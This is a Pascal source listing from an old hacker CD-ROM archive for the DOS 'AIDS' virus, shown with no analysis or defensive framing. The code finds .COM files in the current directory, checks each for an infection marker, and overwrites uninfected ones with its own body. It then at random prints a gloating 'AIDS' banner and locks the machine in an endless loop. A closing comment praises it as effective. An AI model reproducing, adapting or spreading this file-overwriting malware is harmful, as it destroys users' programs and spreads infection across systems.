home *** CD-ROM | disk | FTP | other *** search
/ Hacker 2 / HACKER2.mdf / virus / virus.pas < prev    next >
Pascal/Delphi Source File  |  1995-01-03  |  6KB  |  138 lines

  1. {C-}
  2. {U-}
  3. {I-}       { Wont allow a user break, enable IO check }
  4.  
  5. { -- Constants --------------------------------------- }
  6.  
  7. Const
  8.      VirusSize = 13847;    { AIDS's code size }
  9.  
  10.      Warning   :String[42]     { Warning message }
  11.      = 'This File Has Been Infected By AIDS! HaHa!';
  12.  
  13. { -- Type declarations------------------------------------- }
  14.  
  15. Type
  16.      DTARec    =Record      { Data area for file search }
  17.      DOSnext  :Array[1..21] of Byte;
  18.                    Attr    : Byte;
  19.                    Ftime,
  20.                    FDate,
  21.                    FLsize,
  22.                    FHsize  : Integer;
  23.                    FullName: Array[1..13] of Char;
  24.                  End;
  25.  
  26. Registers    = Record    {Register set used for file search }
  27.    Case Byte of
  28.    1 : (AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer);
  29.    2 : (AL,AH,BL,BH,CL,CH,DL,DH          : Byte);
  30.    End;
  31.  
  32. { -- Variables--------------------------------------------- }
  33.  
  34. Var
  35.                                { Memory offset program code }
  36.    ProgramStart : Byte absolute Cseg:$100;
  37.                                           { Infected marker }
  38.    MarkInfected : String[42] absolute Cseg:$180;
  39.    Reg          : Registers;                 { Register set }
  40.    DTA          : DTARec;                       { Data area }
  41.    Buffer       : Array[Byte] of Byte;        { Data buffer }
  42.    TestID       : String[42]; { To recognize infected files }
  43.    UsePath      : String[66];        { Path to search files }
  44.                                     { Lenght of search path }
  45.    UsePathLenght: Byte absolute UsePath;
  46.    Go           : File;                    { File to infect }
  47.    B            : Byte;                              { Used }
  48.    LoopVar      : Integer;  {Will loop forever}
  49.  
  50. { -- Program code------------------------------------------ }
  51.  
  52. Begin
  53.   GetDir(0, UsePath);               { get current directory }
  54.   if Pos('\', UsePath) <> UsePathLenght then
  55.     UsePath := UsePath + '\';
  56.   UsePath := UsePath + '*.COM';        { Define search mask }
  57.   Reg.AH := $1A;                            { Set data area }
  58.   Reg.DS := Seg(DTA);
  59.   Reg.DX := Ofs(DTA);
  60.   MsDos(Reg);
  61.   UsePath[Succ(UsePathLenght)]:=#0; { Path must end with #0 }
  62.   Reg.AH := $4E;
  63.   Reg.DS := Seg(UsePath);
  64.   Reg.DX := Ofs(UsePath[1]);
  65.   Reg.CX := $ff;          { Set attribute to find ALL files }
  66.   MsDos(Reg);                   { Find first matching entry }
  67.   IF not Odd(Reg.Flags) Then         { If a file found then }
  68.     Repeat
  69.       UsePath := DTA.FullName;
  70.       B := Pos(#0, UsePath);
  71.       If B > 0 then
  72.       Delete(UsePath, B, 255);             { Remove garbage }
  73.       Assign(Go, UsePath);
  74.       Reset(Go);
  75.       If IOresult = 0 Then          { If not IO error then }
  76.       Begin
  77.         BlockRead(Go, Buffer, 2);
  78.         Move(Buffer[$80], TestID, 43);
  79.                       { Test if file already ill(Infected) }
  80.         If TestID <> Warning Then        { If not then ... }
  81.         Begin
  82.           Seek (Go, 0);
  83.                             { Mark file as infected and .. }
  84.           MarkInfected := Warning;
  85.                                                { Infect it }
  86.           BlockWrite(Go,ProgramStart,Succ(VirusSize shr 7));
  87.           Close(Go);
  88.           Halt;                   {.. and halt the program }
  89.         End;
  90.         Close(Go);
  91.       End;
  92.         { The file has already been infected, search next. }
  93.       Reg.AH := $4F;
  94.       Reg.DS := Seg(DTA);
  95.       Reg.DX := Ofs(DTA);
  96.       MsDos(Reg);
  97.     {  ......................Until no more files are found }
  98.     Until Odd(Reg.Flags);
  99. Loopvar:=Random(10);
  100. If Loopvar=7 then
  101. begin
  102.   Writeln(' ');                          {Give a lot of smiles}
  103. Writeln('');
  104. Writeln('     ');
  105. Writeln('                                 ATTENTION:                             ');
  106. Writeln('      I have been elected to inform you that throughout your process of ');
  107. Writeln('      collecting and executing files, you have accidentally HÜ¢KΣ     ');
  108. Writeln('      yourself over; again, that''s PHUCKED yourself over. No, it cannot ');
  109. Writeln('      be; YES, it CAN be, a √ìτûs has infected your system. Now what do ');
  110. Writeln('      you have to say about that? HAHAHAHA. Have HÜÑ with this one and ');
  111. Writeln('                       remember, there is NO cure for                   ');
  112. Writeln('                                                                        ');
  113. Writeln('         ██████████     ████████████    ███████████      ██████████     ');
  114. Writeln('        ███▒▒▒▒▒▒███     ▒▒▒▒██▒▒▒▒▒▒   ██▒▒▒▒▒▒▒███    ███▒▒▒▒▒▒▒██    ');
  115. Writeln('        ██▒▒      ██▒        ██▒        ██▒       ██▒   ██▒▒       ▒▒   ');
  116. Writeln('        ██▒       ██▒        ██▒        ██▒       ██▒   ██▒             ');
  117. Writeln('        ████████████▒        ██▒        ██▒       ██▒   ████████████    ');
  118. Writeln('        ██▒▒▒▒▒▒▒▒██▒        ██▒        ██▒       ██▒    ▒▒▒▒▒▒▒▒▒██▒   ');
  119. Writeln('        ██▒       ██▒        ██▒        ██▒       ██▒             ██▒   ');
  120. Writeln('        ██▒       ██▒        ██▒        ██▒      ███▒   ██       ███▒   ');
  121. Writeln('        ██▒       ██▒   ████████████    ███████████▒▒    ██████████▒▒   ');
  122. Writeln('         ▒▒        ▒▒    ▒▒▒▒▒▒▒▒▒▒▒▒    ▒▒▒▒▒▒▒▒▒▒▒      ▒▒▒▒▒▒▒▒▒▒    ');
  123. Writeln('                                                                        ');
  124. Writeln('     ');
  125. REPEAT
  126. LOOPVAR:=0;
  127. UNTIL LOOPVAR=1;
  128. end;
  129. End.
  130.  
  131.  
  132. { Although this is a primitive virus its effective. }
  133. { In this virus only the .COM                       }
  134. { files are infected. Its about 13K and it will     }
  135. { change the date entry.                            }
  136. 
  137. Downloaded From P-80 International Information Systems 304-744-2253
  138.